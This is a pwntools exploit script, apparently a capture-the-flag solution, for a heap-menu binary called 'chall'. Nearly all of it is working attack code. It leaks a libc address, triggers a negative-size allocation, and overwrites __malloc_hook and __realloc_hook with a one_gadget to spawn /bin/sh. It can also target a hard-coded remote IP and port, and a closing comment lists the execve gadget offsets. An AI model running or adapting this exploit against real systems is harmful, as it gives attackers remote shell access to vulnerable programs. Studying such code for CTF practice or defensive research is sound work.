1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
|
from pwn import *
exeFile = './chall' libFile = '/lib/x86_64-linux-gnu/libc.so.6'
remoteIp = "39.97.210.182" remotePort = 19806
LOCAL = 1 LIB = 1
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)
def enc(data, key): result = '' for i in range(len(data)): result += p8( u8(data[i]) ^ u8(key[ i & 0xF]) ) return result
def ad(size): sla('5.Exit', str(1)) sla(':', str(size)) ru('Key: \n') key = p8(int(ru(' '), 16)) for i in range(15): key += p8(int(ru(' '), 16)) return key
def rm(idx): sla('5.Exit', str(2)) sla('Box ID:', str(idx))
def md(idx, offset, size, data, key): sla('5.Exit', str(3)) sla(':', str(idx)) sla('Offset of msg:', str(offset)) sla(':', str(size)) sa(':', enc(data, key))
def dp(idx, offset, size): sla('5.Exit', str(4)) sla(':', str(idx)) sla('Offset of msg:', str(offset)) sla('Len of msg:', str(size))
def q(): sla(':', str(5))
def dec(data, key): result = '' for i in range(len(data)): result += p8(u8(data[i]) ^ ( u8(key) + (i & 0xF))) return result
def exploit():
key_0 = ad(0x210) key_1 = ad(0x108)
rm(0) key_2 = ad(0x210) md(0, 0, 0x8, 'A' * 0x8, key_2) dp(0, 0, 16) lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 0x3c4b20 - 88 li('libc base ' + hex(lib.address)) gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] one_gadget = lib.address + gadget[1] sla('5.Exit', str(1)) sla(':', '-' + str(0xFFFFFEF8 -0x100)) ru('Key: \n') key_3 = p8(int(ru(' '), 16)) for i in range(15): key_3 += p8(int(ru(' '), 16)) md(2, lib.sym['__malloc_hook'], 0x8, p64(lib.sym['realloc']), key_3) md(2, lib.sym['__realloc_hook'], 0x8, p64(one_gadget), key_3)
sla('5.Exit', str(1)) sla(':', str(0x108))
def finish(): ia() c()
if __name__ == '__main__': if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else: io = exe.process() else: exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish() ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
'''
|